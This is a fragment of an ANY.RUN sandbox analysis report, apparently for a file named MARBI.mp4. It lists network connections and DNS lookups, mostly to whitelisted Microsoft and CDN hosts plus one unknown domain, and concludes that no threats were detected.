settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
23.53.40.176:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5064
SearchApp.exe
104.126.37.145:443
www.bing.com
Akamai International B.V.
DE
whitelisted
1176
svchost.exe
20.190.159.64:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 20.73.194.208
  • 40.127.240.158
whitelisted
crl.microsoft.com
  • 23.53.40.176
  • 23.53.40.178
whitelisted
google.com
  • 172.217.16.206
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
www.bing.com
  • 104.126.37.145
  • 104.126.37.131
whitelisted
login.live.com
  • 20.190.159.64
  • 20.190.159.75
  • 40.126.31.73
  • 40.126.31.71
  • 20.190.159.4
  • 40.126.31.67
  • 20.190.159.68
  • 20.190.159.2
  • 40.126.32.74
  • 40.126.32.72
  • 40.126.32.138
  • 20.190.160.14
  • 20.190.160.17
  • 40.126.32.134
  • 40.126.32.76
  • 40.126.32.140
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
yxyz.zyxy.org
  • 104.21.25.207
  • 172.67.134.167
unknown
c.pki.goog
  • 142.250.185.195
whitelisted
go.microsoft.com
  • 184.30.17.189
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
/MARBI.mp4